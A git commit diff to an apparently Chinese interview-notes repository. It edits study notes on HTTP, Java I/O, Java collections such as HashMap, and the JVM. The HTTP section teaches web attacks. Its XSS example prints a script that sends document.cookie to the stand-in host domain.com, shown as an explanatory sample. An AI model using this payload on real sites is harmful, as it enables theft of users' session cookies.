fix conflict

This commit is contained in:
Xiangmingzhe 2018-04-03 10:02:50 +08:00
commit d0add9c381
20 changed files with 114 additions and 114 deletions

View File

@ -4,9 +4,9 @@
|网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) | |网络[:cloud:](#网络-cloud) |操作系统[:computer:](#操作系统-computer)| 算法[:pencil2:](#数据结构与算法-pencil2)| 面向对象[:couple:](#面向对象-couple) |数据库[:floppy_disk:](#数据库-floppy_disk)| Java [:coffee:](#java-coffee)| 分布式[:sweat_drops:](#分布式-sweat_drops)| 工具[:hammer:](#工具-hammer)| 编码实践[:speak_no_evil:](#编码实践-speak_no_evil)| 后记[:memo:](#后记-memo) |
</br> </br>
:loudspeaker: 本仓库的内容不涉及商业行为,不向读者收取任何费用。 :loudspeaker: 本仓库不参与商业行为,不向读者收取任何费用。
:loudspeaker: This repository is not involving commercial activities, and does not charge readers any fee. :loudspeaker: This repository is not engaging in business activities, and does not charge readers any fee.
</br></br> </br></br>
## 网络 :cloud: ## 网络 :cloud:
@ -109,7 +109,8 @@ File, InputStream OutputStream, Reader Writer, Serializable, Socket, NIO
> [分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md) > [分布式问题分析](https://github.com/CyC2018/InnterviewNotes/blob/master/notes/分布式问题分析.md)
分布式事务、复杂均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。 分布式事务、负载均衡算法与实现、分布式锁、分布式 Session、分库分表的分布式困境与应对之策。
## 工具 :hammer: ## 工具 :hammer:

View File

@ -14,6 +14,7 @@
* [CONNECT](#connect) * [CONNECT](#connect)
* [TRACE](#trace) * [TRACE](#trace)
* [三、HTTP 状态码](#三http-状态码) * [三、HTTP 状态码](#三http-状态码)
* [1XX 信息](#1xx-信息)
* [2XX 成功](#2xx-成功) * [2XX 成功](#2xx-成功)
* [3XX 重定向](#3xx-重定向) * [3XX 重定向](#3xx-重定向)
* [4XX 客户端错误](#4xx-客户端错误) * [4XX 客户端错误](#4xx-客户端错误)
@ -195,7 +196,7 @@ CONNECT www.example.com:443 HTTP/1.1
| 4XX | Client Error客户端错误状态码 | 服务器无法处理请求 | | 4XX | Client Error客户端错误状态码 | 服务器无法处理请求 |
| 5XX | Server Error服务器错误状态码 | 服务器处理请求出错 | | 5XX | Server Error服务器错误状态码 | 服务器处理请求出错 |
### 1XX 信息 ## 1XX 信息
- **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。 - **100 Continue** :表明到目前为止都很正常,客户端可以继续发送请求或者忽略这个响应。
@ -516,7 +517,7 @@ HTTP 有以下安全性问题:
2. 不验证通信方的身份,通信方的身份有可能遭遇伪装; 2. 不验证通信方的身份,通信方的身份有可能遭遇伪装;
3. 无法证明报文的完整性,报文有可能遭篡改。 3. 无法证明报文的完整性,报文有可能遭篡改。
HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Sockets Layer通信再由 SSL 和 TCP 通信。也就是说使用了隧道进行通信。 HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Sockets Layer通信再由 SSL 和 TCP 通信。也就是说 HTTPs 使用了隧道进行通信。
通过使用 SSLHTTPs 具有了加密、认证和完整性保护。 通过使用 SSLHTTPs 具有了加密、认证和完整性保护。
@ -526,21 +527,21 @@ HTTPs 并不是新协议,而是 HTTP 先和 SSLSecure Sockets Layer
### 1. 对称密钥加密 ### 1. 对称密钥加密
Symmetric-Key Encryption加密的加密和解密使用同一密钥。 对称密钥加密(Symmetric-Key Encryption,加密的加密和解密使用同一密钥。
- 优点:运算速度快; - 优点:运算速度快;
- 缺点:密钥容易被获取。 - 缺点:密钥容易被获取。
<div align="center"> <img src="../pics//scrypt.gif" width=""/> </div><br> <div align="center"> <img src="../pics//7fffa4b8-b36d-471f-ad0c-a88ee763bb76.png" width="600"/> </div><br>
### 2. 公开密钥加密 ### 2. 公开密钥加密
Public-Key Encryption使用一对密钥用于加密和解密分别为公开密钥和私有密钥。公开密钥所有人都可以获得通信发送方获得接收方的公开密钥之后就可以使用公开密钥进行加密接收方收到通信内容后使用私有密钥解密。 公开密钥加密(Public-Key Encryption),也称为非对称密钥加密,使用一对密钥用于加密和解密,分别为公开密钥和私有密钥。公开密钥所有人都可以获得,通信发送方获得接收方的公开密钥之后,就可以使用公开密钥进行加密,接收方收到通信内容后使用私有密钥解密。
- 优点:更为安全; - 优点:更为安全;
- 缺点:运算速度慢; - 缺点:运算速度慢;
<div align="center"> <img src="../pics//pcrypt.gif" width=""/> </div><br> <div align="center"> <img src="../pics//39ccb299-ee99-4dd1-b8b4-2f9ec9495cb4.png" width="600"/> </div><br>
### 3. HTTPs 采用的加密方式 ### 3. HTTPs 采用的加密方式
@ -584,13 +585,13 @@ SSL 提供报文摘要功能来验证完整性。
例如有一个论坛网站,攻击者可以在上面发表以下内容: 例如有一个论坛网站,攻击者可以在上面发表以下内容:
```html ```
<script>location.href="//domain.com/?c=" + document.cookie</script> <script>location.href="//domain.com/?c=" + document.cookie</script>
``` ```
之后该内容可能会被渲染成以下形式: 之后该内容可能会被渲染成以下形式:
```html ```
<p><script>location.href="//domain.com/?c=" + document.cookie</script></p> <p><script>location.href="//domain.com/?c=" + document.cookie</script></p>
``` ```
@ -659,7 +660,7 @@ HTTP 头中有一个 Referer 字段,这个字段用以标明请求来源于哪
(二)添加校验 Token (二)添加校验 Token
由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 token 的值为空或者错误,拒绝这个可疑请求。 由于 CSRF 的本质在于攻击者欺骗用户去访问自己设置的地址,所以如果要求在访问敏感数据请求时,要求用户浏览器提供不保存在 Cookie 中,并且攻击者无法伪造的数据作为校验,那么攻击者就无法再执行 CSRF 攻击。这种数据通常是表单中的一个数据项。服务器将其生成并附加在表单中,其内容是一个伪乱数。当客户端通过表单提交请求时,这个伪乱数也一并提交上去以供校验。正常的访问时,客户端浏览器能够正确得到并传回这个伪乱数,而通过 CSRF 传来的欺骗性攻击中,攻击者无从事先得知这个伪乱数的值,服务器端就会因为校验 Token 的值为空或者错误,拒绝这个可疑请求。
## SQL 注入攻击 ## SQL 注入攻击
@ -715,9 +716,9 @@ strSQL = "SELECT * FROM users;"
### 1. 概念 ### 1. 概念
denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。 拒绝服务攻击denial-of-service attackDoS亦称洪水攻击其目的在于使目标电脑的网络或系统资源耗尽使服务暂时中断或停止导致其正常用户无法访问。
distributed denial-of-service attackDDoS指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。 分布式拒绝服务攻击distributed denial-of-service attackDDoS指攻击者使用网络上两个或以上被攻陷的电脑作为“僵尸”向特定的目标发动“拒绝服务”式攻击。
> [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A) > [维基百科:拒绝服务攻击](https://zh.wikipedia.org/wiki/%E9%98%BB%E6%96%B7%E6%9C%8D%E5%8B%99%E6%94%BB%E6%93%8A)
@ -725,7 +726,7 @@ strSQL = "SELECT * FROM users;"
## 参数 ## 参数
GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体。 GET 和 POST 的请求都能使用额外的参数,但是 GET 的参数是以查询字符串出现在 URL 中,而 POST 的参数存储在内容实体
GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。 GET 的传参方式相比于 POST 安全性较差,因为 GET 传的参数在 URL 中是可见的,可能会泄露私密信息。并且 GET 只支持 ASCII 字符,如果参数为中文则可能会出现乱码,而 POST 支持标准字符集。
@ -743,7 +744,7 @@ name1=value1&name2=value2
安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。 安全的 HTTP 方法不会改变服务器状态,也就是说它只是可读的。
GET 方法是安全的,而 POST 却不是。 GET 方法是安全的,而 POST 却不是,因为 POST 的目的是传送实体主体内容,这个内容可能是用户上传的表单数据,上传成功之后,服务器可能把这个数据存储到数据库中,因此状态也就发生了改变
安全的方法除了 GET 之外还有HEAD、OPTIONS。 安全的方法除了 GET 之外还有HEAD、OPTIONS。
@ -751,9 +752,9 @@ GET 方法是安全的,而 POST 却不是。
## 幂等性 ## 幂等性
幂等的 HTTP 方法同样的请求被执行一次与连续执行多次的效果是一样的服务器的状态也是一样的。换句话说就是幂等方法不应该具有副作用统计用途除外。在正确实现的条件下GETHEADPUT和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。 幂等的 HTTP 方法同样的请求被执行一次与连续执行多次的效果是一样的服务器的状态也是一样的。换句话说就是幂等方法不应该具有副作用统计用途除外。在正确实现的条件下GETHEADPUT 和 DELETE 等方法都是幂等的,而 POST 方法不是。所有的安全方法也都是幂等的。
GET /pageX HTTP/1.1是幂等的。连续调用多次,客户端接收到的结果都是一样的: GET /pageX HTTP/1.1 是幂等的。连续调用多次,客户端接收到的结果都是一样的:
``` ```
GET /pageX HTTP/1.1 GET /pageX HTTP/1.1
@ -762,7 +763,7 @@ GET /pageX HTTP/1.1
GET /pageX HTTP/1.1 GET /pageX HTTP/1.1
``` ```
POST /add_row HTTP/1.1不是幂等的。如果调用多次,就会增加多行记录: POST /add_row HTTP/1.1 不是幂等的。如果调用多次,就会增加多行记录:
``` ```
POST /add_row HTTP/1.1 POST /add_row HTTP/1.1
@ -770,7 +771,7 @@ POST /add_row HTTP/1.1 -> Adds a 2nd row
POST /add_row HTTP/1.1 -> Adds a 3rd row POST /add_row HTTP/1.1 -> Adds a 3rd row
``` ```
DELETE /idX/delete HTTP/1.1是幂等的,即便是不同请求之间接收到的状态码不一样: DELETE /idX/delete HTTP/1.1 是幂等的,即便是不同请求之间接收到的状态码不一样:
``` ```
DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists DELETE /idX/delete HTTP/1.1 -> Returns 200 if idX exists
@ -782,8 +783,8 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
如果要对响应进行缓存,需要满足以下条件: 如果要对响应进行缓存,需要满足以下条件:
1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEADPUT 和 DELETE 不可缓存POST 在多数情况下不可缓存的。 1. 请求报文的 HTTP 方法本身是可缓存的,包括 GET 和 HEAD但是 PUT 和 DELETE 不可缓存POST 在多数情况下不可缓存的。
2. 响应报文的 状态码是可缓存的,包括: 200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。 2. 响应报文的状态码是可缓存的包括200, 203, 204, 206, 300, 301, 404, 405, 410, 414, and 501。
3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。 3. 响应报文的 Cache-Control 首部字段没有指定不进行缓存。
## XMLHttpRequest ## XMLHttpRequest
@ -798,12 +799,12 @@ DELETE /idX/delete HTTP/1.1 -> Returns 404
## HTTP/1.0 与 HTTP/1.1 的区别 ## HTTP/1.0 与 HTTP/1.1 的区别
1. 持久连接 1. HTTP/1.1 默认是持久连接
2. 管线化处理 2. HTTP/1.1 支持管线化处理
3. 虚拟主机 3. HTTP/1.1 支持虚拟主机
4. 状态码 100 4. HTTP/1.1 新增状态码 100
5. 分块传输编码 5. HTTP/1.1 只是分块传输编码
6. 缓存处理字段 6. HTTP/1.1 新增缓存处理指令 max-age
具体内容见上文 具体内容见上文
@ -846,3 +847,4 @@ HTTP/1.1 的解析是基于文本的,而 HTTP/2.0 采用二进制格式。
- [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn) - [What is the difference between a URI, a URL and a URN?](https://stackoverflow.com/questions/176264/what-is-the-difference-between-a-uri-a-url-and-a-urn)
- [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest) - [XMLHttpRequest](https://developer.mozilla.org/zh-CN/docs/Web/API/XMLHttpRequest)
- [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/) - [XMLHttpRequest (XHR) Uses Multiple Packets for HTTP POST?](https://blog.josephscott.org/2009/08/27/xmlhttprequest-xhr-uses-multiple-packets-for-http-post/)
- [Symmetric vs. Asymmetric Encryption What are differences?](https://www.ssl2buy.com/wiki/symmetric-vs-asymmetric-encryption-what-are-differences)

View File

@ -156,7 +156,7 @@ I/O 与 NIO 最重要的区别是数据打包和传输的方式I/O 以流的
面向流的 I/O 一次处理一个字节数据,一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责单个复杂处理机制的一部分,这样也是相对简单的。不利的一面是,面向流的 I/O 通常相当慢。 面向流的 I/O 一次处理一个字节数据,一个输入流产生一个字节数据,一个输出流消费一个字节数据。为流式数据创建过滤器非常容易,链接几个过滤器,以便每个过滤器只负责单个复杂处理机制的一部分,这样也是相对简单的。不利的一面是,面向流的 I/O 通常相当慢。
一个面向块的 I/O 系统以块的形式处理数据,一次处理数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。 一个面向块的 I/O 系统以块的形式处理数据,一次处理一个数据块。按块处理数据比按流处理数据要快得多。但是面向块的 I/O 缺少一些面向流的 I/O 所具有的优雅性和简单性。
I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。 I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重新实现了,所以现在它可以利用 NIO 的一些特性。例如java.io.\* 包中的一些类包含以块的形式读写数据的方法,这使得即使在面向流的系统中,处理速度也会更快。
@ -177,7 +177,7 @@ I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重
### 2. 缓冲区 ### 2. 缓冲区
发送给一个通道的所有对象都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。 发送给一个通道的所有数据都必须首先放到缓冲区中,同样地,从通道中读取的任何数据都要读到缓冲区中。也就是说,不会直接对通道进行读写数据,而是要先经过缓冲区。
缓冲区实质上是一个数组,但它不仅仅是一个数组。缓冲区提供了对数据的结构化访问,而且还可以跟踪系统的读/写进程。 缓冲区实质上是一个数组,但它不仅仅是一个数组。缓冲区提供了对数据的结构化访问,而且还可以跟踪系统的读/写进程。
@ -199,7 +199,7 @@ I/O 包和 NIO 已经很好地集成了java.io.\* 已经以 NIO 为基础重
状态变量的改变过程举例: 状态变量的改变过程举例:
① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0而 limit = capacity = 9。capacity 变量不会改变,下面的讨论会忽略它。 ① 新建一个大小为 8 个字节的缓冲区,此时 position 为 0而 limit = capacity = 8。capacity 变量不会改变,下面的讨论会忽略它。
<div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br> <div align="center"> <img src="../pics//1bea398f-17a7-4f67-a90b-9e2d243eaa9a.png"/> </div><br>

View File

@ -203,8 +203,6 @@ java.lang.CloneNotSupportedException: CloneTest
**2. 深拷贝与浅拷贝** **2. 深拷贝与浅拷贝**
<div align="center"> <img src="../pics//CLone_20_281_29.png" width="800"/> </div><br>
- 浅拷贝:拷贝对象和原对象的引用类型引用同一个对象; - 浅拷贝:拷贝对象和原对象的引用类型引用同一个对象;
- 深拷贝:引用不同对象。 - 深拷贝:引用不同对象。
@ -535,14 +533,12 @@ Reflection is powerful, but should not be used indiscriminately. If it is possib
# 八、异常 # 八、异常
Throwable 可以用来表示任何可以作为异常抛出的类,分为两种: **Error****Exception**,其中 Error 用来表示 JVM 无法处理的错误(比如 java.lang.OutOfMemoryError Throwable 可以用来表示任何可以作为异常抛出的类,分为两种: **Error****Exception**。其中 Error 用来表示 JVM 无法处理的错误Exception 分为两种:
Exception 分为两种:
1. **受检异常** :需要用 try...catch... 语句捕获并进行处理,并且可以从异常中恢复; 1. **受检异常** :需要用 try...catch... 语句捕获并进行处理,并且可以从异常中恢复;
2. **非受检异常** :是程序运行时错误,例如除 0 会引发 Arithmetic Exception此时程序奔溃并且无法恢复。 2. **非受检异常** :是程序运行时错误,例如除 0 会引发 Arithmetic Exception此时程序奔溃并且无法恢复。
<div align="center"> <img src="../pics//48f8f98e-8dfd-450d-8b5b-df4688f0d377.jpg"/> </div><br> <div align="center"> <img src="../pics//PPjwP.png"/> </div><br>
> - [Java 入门之异常处理](https://www.tianmaying.com/tutorial/Java-Exception) > - [Java 入门之异常处理](https://www.tianmaying.com/tutorial/Java-Exception)
> - [Java 异常的面试问题及答案 -Part 1](http://www.importnew.com/7383.html) > - [Java 异常的面试问题及答案 -Part 1](http://www.importnew.com/7383.html)
@ -558,8 +554,7 @@ public class Box<T> {
} }
``` ```
> - [Java 泛型详解](https://www.ziwenxie.site/2017/03/01/java-generic/) > [Java 泛型详解](https://www.ziwenxie.site/2017/03/01/java-generic/)</br>[10 道 Java 泛型面试题](https://cloud.tencent.com/developer/article/1033693)
> - [10 道 Java 泛型面试题](https://cloud.tencent.com/developer/article/1033693)
# 十、注解 # 十、注解
@ -598,8 +593,7 @@ Java 注解是附加在代码中的一些元信息,用于一些工具在编译
7. Binary Literals, Underscore in literals 7. Binary Literals, Underscore in literals
8. Diamond Syntax 8. Diamond Syntax
> - [Difference between Java 1.8 and Java 1.7?](http://www.selfgrowth.com/articles/difference-between-java-18-and-java-17) > [Difference between Java 1.8 and Java 1.7?](http://www.selfgrowth.com/articles/difference-between-java-18-and-java-17)</br> [Java 8 特性 ](http://www.importnew.com/19345.html)
> - [Java 8 特性 ](http://www.importnew.com/19345.html)
## Java 与 C++ 的区别 ## Java 与 C++ 的区别

View File

@ -31,7 +31,7 @@
- HashSet基于哈希实现支持快速查找但不支持有序性操作例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。 - HashSet基于哈希实现支持快速查找但不支持有序性操作例如根据一个范围查找元素的操作。并且失去了元素的插入顺序信息也就是说使用 Iterator 遍历 HashSet 得到的结果是不确定的。
- TreeSet基于红黑树实现支持有序性操作但是查找效率不如 HashSetHashSet 查找时间复杂度为 O(1)TreeSet 则为 O(logn) - TreeSet基于红黑树实现支持有序性操作但是查找效率不如 HashSetHashSet 查找时间复杂度为 O(1)TreeSet 则为 O(logN)
- LinkedHashSet具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序。 - LinkedHashSet具有 HashSet 的查找效率,且内部使用链表维护元素的插入顺序。
@ -47,7 +47,7 @@
- LinkedList可以用它来支持双向队列 - LinkedList可以用它来支持双向队列
- PriorityQueue基于堆结构实现,可以用它来实现优先级队列。 - PriorityQueue基于堆结构实现,可以用它来实现优先级队列。
## Map ## Map
@ -80,8 +80,6 @@ for (String item : list) {
} }
``` ```
> [迭代器模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#%E5%8D%81%E4%BA%8C%E8%BF%AD%E4%BB%A3%E5%99%A8%E6%A8%A1%E5%BC%8F)
## 适配器模式 ## 适配器模式
java.util.Arrays#asList() 可以把数组类型转换为 List 类型。 java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
@ -91,7 +89,7 @@ java.util.Arrays#asList() 可以把数组类型转换为 List 类型。
public static <T> List<T> asList(T... a) public static <T> List<T> asList(T... a)
``` ```
如果要将数组类型转换为 List 类型,应该注意的是参数列表为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。 如果要将数组类型转换为 List 类型,应该注意的是 asList() 的参数为泛型的变长参数,因此不能使用基本类型数组作为参数,只能使用相应的包装类型数组。
```java ```java
Integer[] arr = {1, 2, 3}; Integer[] arr = {1, 2, 3};
@ -104,8 +102,6 @@ List list = Arrays.asList(arr);
List list = Arrays.asList(1,2,3); List list = Arrays.asList(1,2,3);
``` ```
> [适配器模式](https://github.com/CyC2018/Interview-Notebook/blob/master/notes/%E8%AE%BE%E8%AE%A1%E6%A8%A1%E5%BC%8F.md#%E5%8D%81%E9%80%82%E9%85%8D%E5%99%A8%E6%A8%A1%E5%BC%8F)
# 三、散列 # 三、散列
hasCode() 返回散列值,使用的是对象的地址。 hasCode() 返回散列值,使用的是对象的地址。
@ -171,7 +167,7 @@ public class ArrayList<E> extends AbstractList<E>
implements List<E>, RandomAccess, Cloneable, java.io.Serializable implements List<E>, RandomAccess, Cloneable, java.io.Serializable
``` ```
基于数组实现,保存元素的数组使用 transient 修饰,该关键字声明数组默认不会被序列化。这是 ArrayList 具有动态扩容特性因此保存元素的数组不一定都会被使用那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。 基于数组实现,保存元素的数组使用 transient 修饰该关键字声明数组默认不会被序列化。ArrayList 具有动态扩容特性因此保存元素的数组不一定都会被使用那么就没必要全部进行序列化。ArrayList 重写了 writeObject() 和 readObject() 来控制只序列化数组中有元素填充那部分内容。
```java ```java
transient Object[] elementData; // non-private to simplify nested class access transient Object[] elementData; // non-private to simplify nested class access
@ -291,7 +287,7 @@ transient Entry[] table;
其中Entry 就是存储数据的键值对,它包含了四个字段。从 next 字段我们可以看出 Entry 是一个链表,即每个桶会存放一个链表。 其中Entry 就是存储数据的键值对,它包含了四个字段。从 next 字段我们可以看出 Entry 是一个链表,即每个桶会存放一个链表。
<div align="center"> <img src="../pics//ce039f03-6588-4f0c-b35b-a494de0eac47.png" width="500"/> </div><br> <div align="center"> <img src="../pics//8fe838e3-ef77-4f63-bf45-417b6bc5c6bb.png" width="600"/> </div><br>
JDK 1.8 使用 Node 类型存储一个键值对,它依然继承自 Entry因此可以按照上面的存储结构来理解。 JDK 1.8 使用 Node 类型存储一个键值对,它依然继承自 Entry因此可以按照上面的存储结构来理解。
@ -342,32 +338,35 @@ static class Node<K,V> implements Map.Entry<K,V> {
### 2. 拉链法的工作原理 ### 2. 拉链法的工作原理
```java ```java
HashMap<String, Integer> map = new HashMap<>(); // 默认大小为 16 HashMap<String, String> map = new HashMap<>();
map.put("sachin", 30); map.put("K1", "V1");
map.put("vishal", 20); map.put("K2", "V2");
map.put("vaibhav", 20); map.put("K3", "V3");
``` ```
- 计算 "sachin" 的 hashcode 为 115使用除留余数法得到 115 % 16 = 3因此 ("sachin", 30) 键值对放到第 3 个桶上。 - 新建一个 HashMap默认大小为 16
- 同样得到 ("vishal", 20) 和 ("vaibhav", 20) 都应该放到第 6 个桶上。("vishal", 20) 先放入, ("vaibhav", 20) 链接到 ("vishal", 20) 之后。 - 插入 &lt;K1,V1> 键值对,先计算 K1 的 hashCode 为 115使用除留余数法得到所在的桶下标 115%16=3。
- 插入 &lt;K2,V2> 键值对,先计算 K2 的 hashCode 为 118使用除留余数法得到所在的桶下标 118%16=6。
- 插入 &lt;K3,V3> 键值对,先计算 K3 的 hashCode 为 118使用除留余数法得到所在的桶下标 118%16=6它需要插在 &lt;K2,V2> 之前。
<div align="center"> <img src="../pics//b9a39d2a-618c-468b-86db-2e851f1a0057.jpg" width="600"/> </div><br> <div align="center"> <img src="../pics//c812c28a-1513-4a82-bfda-ab6a40981aa0.png" width="600"/> </div><br>
当进行查找时,需要分成两步进行,第一步是先根据 hashcode 计算出所在的桶,第二步是在链表上顺序查找。由于 table 是数组形式的,具有随机读取的特性,因此第一步的时间复杂度为 O(1),而第二步需要在链表上顺序查找,时间复杂度显然和链表的长度成正比。 查找需要分成两步进行:
- 计算键值对所在的桶;
- 在链表上顺序查找,时间复杂度显然和链表的长度成正比。
### 3. 链表转红黑树 ### 3. 链表转红黑树
应该注意到,从 JDK 1.8 开始,一个桶存储的链表长度大于 8 时会将链表转换为红黑树。 应该注意到,从 JDK 1.8 开始,一个桶存储的链表长度大于 8 时会将链表转换为红黑树。
<div align="center"> <img src="../pics//061c29ce-e2ed-425a-911e-56fbba1efce3.jpg" width="500"/> </div><br>
### 4. 扩容 ### 4. 扩容
因为从 JDK 1.8 开始引入了红黑树,因此扩容操作较为复杂,为了便于理解,以下内容使用 JDK 1.7 的内容。 因为从 JDK 1.8 开始引入了红黑树,因此扩容操作较为复杂,为了便于理解,以下内容使用 JDK 1.7 的内容。
设 HashMap 的 table 长度为 M需要存储的键值对数量为 N如果哈希函数满足均匀性的要求那么每条链表的长度大约为 N/M因此平均查找次数的数量级为 O(N/M)。 设 HashMap 的 table 长度为 M需要存储的键值对数量为 N如果哈希函数满足均匀性的要求那么每条链表的长度大约为 N/M因此平均查找次数的数量级为 O(N/M)。
为了让查找的成本降低,应该尽可能使得 N/M 尽可能小,因此需要保证 M 尽可能大,就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。 为了让查找的成本降低,应该尽可能使得 N/M 尽可能小,因此需要保证 M 尽可能大,就是说 table 要尽可能大。HashMap 采用动态扩容来根据当前的 N 值来调整 M 值,使得空间效率和时间效率都能得到保证。
和扩容相关的参数主要有capacity、size、threshold 和 load_factor。 和扩容相关的参数主要有capacity、size、threshold 和 load_factor。
@ -445,11 +444,11 @@ void transfer(Entry[] newTable) {
### 5. 确定桶下标 ### 5. 确定桶下标
需要三步操作:计算 Key 的 hashCode、高位运算、除留余数法取模 很多操作都需要先确定一个键值对所在的桶下标,需要分三步进行
<div align="center"> <img src="../pics//hashMap_u54C8_u5E0C_u7B97_u6CD5_u4F8B_u56FE.png" width="800"/> </div><br> hashCode()
**hashcode()** 调用 Key 的 hashCode() 方法得到 hashCode。
```java ```java
public final int hashCode() { public final int hashCode() {
@ -457,9 +456,9 @@ public final int hashCode() {
} }
``` ```
**(二)高位运算** (二)高位运算
通过 hashCode() 的高 16 位异或低 16 位,使得数组比较小时,也能保证高低位都参与到了哈希计算中。 将 hashCode 的高 16 位和低 16 位进行异或操作,使得在数组比较小时,也能保证高低位都参与到了哈希计算中。
```java ```java
static final int hash(Object key) { static final int hash(Object key) {
@ -468,7 +467,7 @@ static final int hash(Object key) {
} }
``` ```
**(三)除留余数** (三)除留余数法
令 x = 1<<4 x 2 4 次方它具有以下性质 令 x = 1<<4 x 2 4 次方它具有以下性质
@ -520,11 +519,11 @@ new capacity : 00100000
### 7. 扩容-计算数组容量 ### 7. 扩容-计算数组容量
先考虑如何求一个数的补码,对于 10100000它的补码为 11111111可以使用以下方法得到 先考虑如何求一个数的补码,对于 10010000它的掩码为 11111111可以使用以下方法得到
``` ```
mask |= mask >> 1 11000000 mask |= mask >> 1 11011000
mask |= mask >> 2 11110000 mask |= mask >> 2 11111100
mask |= mask >> 4 11111111 mask |= mask >> 4 11111111
``` ```
@ -738,13 +737,8 @@ ConcurrentHashMap 的高并发性主要来自于三个方面:
[ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/ConcurrentHashMap.java) [ConcurrentHashMap.java](https://github.com/CyC2018/JDK-Source-Code/blob/master/src/ConcurrentHashMap.java)
<div align="center"> <img src="../pics//7779232-1e8ed39548081a1f.png"/> </div><br>
JDK 1.7 分段锁机制来实现并发更新操作,核心类为 Segment它继承自重入锁 ReentrantLock。 JDK 1.7 分段锁机制来实现并发更新操作,核心类为 Segment它继承自重入锁 ReentrantLock。
<div align="center"> <img src="../pics//7779232-96822582feb08651.png"/> </div><br>
JDK 1.8 的实现不是用了 SegmentSegment 属于重入锁 ReentrantLock。而是使用了内置锁 synchronized主要是出于以下考虑 JDK 1.8 的实现不是用了 SegmentSegment 属于重入锁 ReentrantLock。而是使用了内置锁 synchronized主要是出于以下考虑
1. synchronized 的锁粒度更低; 1. synchronized 的锁粒度更低;

View File

@ -1,9 +1,9 @@
<!-- GFM-TOC --> <!-- GFM-TOC -->
* [一、运行时数据区域](#一运行时数据区域) * [一、运行时数据区域](#一运行时数据区域)
* [程序计数器](#程序计数器) * [程序计数器](#程序计数器)
* [Java 虚拟机栈](#java-虚拟机栈) * [虚拟机栈](#虚拟机栈)
* [本地方法栈](#本地方法栈) * [本地方法栈](#本地方法栈)
* [Java 堆](#java-堆) * [堆](#堆)
* [方法区](#方法区) * [方法区](#方法区)
* [运行时常量池](#运行时常量池) * [运行时常量池](#运行时常量池)
* [直接内存](#直接内存) * [直接内存](#直接内存)
@ -27,17 +27,17 @@
# 一、运行时数据区域 # 一、运行时数据区域
